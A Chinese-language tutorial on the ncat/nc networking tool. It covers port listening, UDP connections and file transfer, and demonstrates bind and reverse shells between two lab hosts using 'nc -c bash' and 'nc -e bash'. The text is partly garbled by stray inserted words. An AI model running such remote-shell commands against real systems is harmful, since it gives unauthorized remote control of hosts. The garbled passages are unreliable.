ncat
/nc
既是一個端口掃描工具,也是一款安全工具,還能是一款監測工具,甚至能夠作爲一個簡單的 TCP 代理。安全
在大多數 Debian 發行版中,nc 是默承認用的,它會在安裝系統的過程當中自動被安裝。 可是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 並不會默認被安裝。 須要用下列命令手工安裝。bash
yum install nmap-ncat -y
-l
選指定監聽端口,加上-v
選項顯示詳細信息[root@host_1 ~]# nc -lv 1234 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234
-v
顯示詳細信息,-u
鏈接udp端口[root@host_2 ~]# nc -v 192.168.159.134 1234 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234.
查看系統開啓的udp端口工具
[root@host_1 ~]# netstat -unlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name udp 0 0 0.0.0.0:3139 0.0.0.0:* 691/dhclient udp 0 0 127.0.0.1:323 0.0.0.0:* 640/chronyd udp 0 0 0.0.0.0:68 0.0.0.0:* 691/dhclient udp6 0 0 :::45845 :::* 691/dhclient udp6 0 0 ::1:323 :::* 640/chronyd
鏈接udp端口加密
[root@host_2 ~]# nc -vu 192.168.159.134 3139 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:3139.
在端口已鏈接的基礎上,能夠進行文件傳輸。代理
[root@host_1 testdir]# nc -lv 1234 > receive.txt
主機2上鍊接端口並傳輸文件
[root@host_2 ~]# nc -v 192.168.159.134 1234 < anaconda-ks.cfg Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234. Ncat: 1238 bytes sent, 0 bytes received in 0.03 seconds.
code
host_1
host_2
兩臺主機,演示host_2
控制Host_1
host_1 192.168.159.134 host_2 192.168.159.130
host_1
執行:server
[root@host_1 testdir]# nc -l 1234 -c bash
host_2
執行:ssl
[root@host_2 ~]# nc -v 192.168.159.134 1234 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.134:1234. hostname host_1
nc
命令經過創建的鏈接將bash
傳遞給對方。上面host_2
鏈接成功後,執行hostname
命令返回host_1
主機名,表示已成功控制host_1
io
因爲正向控制是在被控端開啓端口,因此若存在防火牆頗有可能沒法鏈接成功test
主機host_2
監聽端口
[root@host_2 ~]# nc -l 1234
主機host_1
鏈接端口並推送bash
[root@host_1 testdir]# nc -v 192.168.159.130 1234 -e $(which bash) Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.159.130:1234.
控制端主機開啓端口監聽,被控端主動鏈接端口並推送bash
到控制端。
因爲nc
使用明文進行傳輸數據,因此引入ncat
命令。ncat
命令使用--ssl
選項表示開啓ssl
管道加密傳輸。